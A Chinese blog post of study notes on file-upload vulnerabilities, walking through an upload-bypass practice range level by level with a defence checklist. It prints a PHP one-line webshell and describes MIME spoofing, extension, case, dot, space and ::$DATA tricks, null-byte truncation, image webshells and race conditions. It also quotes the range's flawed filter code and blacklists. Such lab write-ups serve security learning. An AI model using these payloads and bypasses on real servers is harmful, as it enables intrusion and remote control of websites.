系列2:12、文件上传漏洞相关

文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,而且通过这个脚本文件获得了执行服务器端命令的能力。
危害:黑链、挖矿、文件泄露
文件上传漏洞发生的前提

一、文件上传漏洞发生的前提

1、网站上传功能能正常使用
2、文件类型允许上传
3、上传路径可以确定
4、文件可以被访问,可以被执行或被包含

二、文件上传漏洞利用流程

1、找到上传的位置
2、尝试绕过校验,上传文件
3、获得文件位置
4、蚁剑连接,管理文件

三、防御
扩展名(后缀)
黑白名单
MIME类型校验(image/gif)
文件内容头校验(GIF89a)
对文件内容进行二次渲染
对上传的文件重命名,不易被猜测
不要暴露上传文件的位置
禁用上传文件的执行权限

后续用到的相关知识点

一、MIME用法

客户端使用:
1、GET请求不需要这个字段。
2、POST请求头,放在Content Type字段用来指定上传的文件类型,方便服务器解析。放在Accept,告诉服务端允许接收的响应类型。比如只能接收json或者其他。
服务端使用:
1、放在响应头里面,Content Type告诉客户端响应的数据类型,方便客户端解析。
在这里插入图片描述

二、常见MIME类型:

text/html:HTML格式
application/json:JSON数据格式
multipart/form-data:文件上传(二进制数据)
image/jpeg:jpg图片格式

三、等价扩展名

在这里插入图片描述

四、.htaccess

Hypertext Access(超文本入口)
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义、404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

五、Content-Disposition

作为对下载文件的一个标识字段

六、文件名截断

截断字符: chr(0),类似于C++的"\0"
filename=test.php%00.txt—— filename=test.php
在这里插入图片描述

七、文件头

1、png图片文件包括8字节:89 50 4E 47 OD OA 1A OA。即为.PNG。
2、jpg图片文件包括2字节:FF D8。
3、gif图片文件包括6字节:4749 46 38 39[37 61。即为GIF89(7)a。
4、bmp图片文件包括2字节:424D。即为BM。5、.class文件的文件头:ca fe ba be

一句话木马
<?php @eval($_POST['shell']);?>

靶场实践

关卡1

(1)发现对于文件的检验在前端完成在这里插入图片描述
(2)方法一:在浏览器中访问about.config(火狐浏览器),修改javascript.enable值为false,此时检验功能失效
在这里插入图片描述
方法二:按f12,观察源代码,发现checkFile函数,将其删除
在这里插入图片描述
(3)修改后即可上传图片
在这里插入图片描述
(4)对文件进行访问,使其进行执行
在这里插入图片描述

(5)用蚁剑进行连接就成功了
在这里插入图片描述

关卡2

(1)发现其前端仍有有校验,检查源代码,发现其只允许规定的图片格式上传(白名单),所以想到抓包修改MIME。
在这里插入图片描述
在这里插入图片描述
(2)文件上传成功之后同关卡1后续

关卡3

在这里插入图片描述
(1)查看源代码得知此关卡会对文件后缀名进行检测,禁止相关文件上传(黑名单)。此时,利用等价扩展名,修改文件名为xxx.php3即可上传。

关卡4

在这里插入图片描述
(1)查看源码得知,此关卡限制的文件类型增加,等价扩展名不适用,使用.htaccess文件。
在这里插入图片描述

(2)新建.htaccess文件并上传,里边写上边代码,指定上传的best.jpg运行时以php运行。
(3)访问上传的best.jpg发现以php形式运行
(4)连接蚁剑同关卡1

关卡6

(1)查看源代码发现将.htaccess加入到了黑名单。

第四关
$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
----------------------------------------------------------
第六关
$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

(2)对比第四关源码发现第六关没有转换为小写的代码,所以第六关会大小写敏感。修改文件名后缀为PHP成功上传。

关卡7

$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

(1)对比代码,发现没有首尾去空的代码,但window不支持文件名最后为空格形式,所以利用抓包修改。
在这里插入图片描述

(2)抓包后将文件名后加空格,即可上传。

关卡8

 $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

(1)对比代码发现没有删除文件名末尾点的代码,所以我们可以将文件名末尾加一个点进行绕过,但window不支持最后文件名为点,所以利用抓包修改。
在这里插入图片描述
(2)上传成功后进行访问,连接蚁剑同关卡1。

关卡9

$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

(1)对比代码发现没有去除字符串::$DATA代码,所以可以加上绕过。
在这里插入图片描述
(2)上传成功后进行访问,连接蚁剑同关卡1。

关卡10

$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

(1)观察代码发现前边的方法都有进行拦截,所以前边单一方法都不可以。观察代码逻辑,先删除末尾的点后首尾去空,如果此时加入. .(点空格点),最后就会剩余一个点。
在这里插入图片描述
(2)上传成功后进行访问,连接蚁剑同关卡1。

关卡11

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);

(1)观察代码发现,如果发现文件后缀名为黑名单中的,则会将其变为空。尝试多写
在这里插入图片描述

(2)上传成功后进行访问,连接蚁剑同关卡1。

关卡12

(1)观察源码比较简单,是以白名单的形式。并且提示路径可控
在这里插入图片描述

(2)抓包发现为post请求,并且后边有参数save_path,猜测为保存路径。下边的参数为文件名,所以最后保存形式为save_path参数的路径+filename的文件名(经过白名单校验)。
在这里插入图片描述
(3)修改后保存形式为:/upload/best.php best.png,此时是不会生效的,需要对后边的best.png进行处理。用到文件名截断
在这里插入图片描述
(4)上传成功后进行访问,连接蚁剑同关卡1。

关卡13

(1)源代码与关卡12没有太多不同,抓包分析
在这里插入图片描述

(2)发现save_path保存到了Content-Dispositon中,此时不能用url%00的截断,而应该是十六进制的截断。
在这里插入图片描述
(3)点击Hex
在这里插入图片描述
(4)找到之前的占位符+,+号十六进制为2b,修改2b为00
在这里插入图片描述
(5)返回Raw进行放行,上传成功。连接蚁剑同关卡1。

关卡14

(1)源码得知,通过读文件前两个字节,判断文件类型

 $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
 }

(2)根据要求制作图片马
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(3)上传图片马,此时只能以图片形式运行,里边的木马程序无法运行。此时,根据题干要求,使用文件包含漏洞能运行图片马中的恶意代码。
在这里插入图片描述
(4)根据此时的url连接蚁剑。

关卡15

与14关大体相同,只是源码中有个判断图片大小的函数。
在这里插入图片描述

关卡16

exif_imagetype()读取一个图像的第一个字节并检查其签名。
在这里插入图片描述

关卡17

basename一返回路径中的文件名部分
在这里插入图片描述

imagecreatefrompng一由文件或 URL 创建一个新图象。
在这里插入图片描述
(1)上传之前的图片马发现可以上传成功,但进行访问后不能用蚁剑进行连接。仔细观察发现其实上传成功的图片为新产生的图片(进行了二次渲染),利用相关程序分析,原图片与上传后的图片文件头不一样,且一句话木马被删除。所以,需要找一张二次渲染后一句话木马不会被删除的图片才可以可。

关卡18

(1)代码审计,发现上传成功后会进行移动与白名单审计,如果不是白名单里边的文件类型,则会进行删除
在这里插入图片描述
(2)思路:如果在文件保存后删除前,对文件进行访问,利用上传的文件产生一个新的一句话木马文件,是否可以。
在这里插入图片描述
在这里插入图片描述
(3)利用burp进行不断访问
在这里插入图片描述

在这里插入图片描述
(4)经过一段时间访问新产生的php文件并用蚁剑进行连接。

关卡20

在这里插入图片描述
在这里插入图片描述
move_uploaded_file()函数特性:文件名后加/.会忽略

关卡21

在这里插入图片描述

绕过总结

总结:删除/禁用JS、修改MIME、等价扩展名、大小写、htaccess、双写、空格、点、$DATA、%00截断、OxO0截断、图片马、条件竞争等等。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值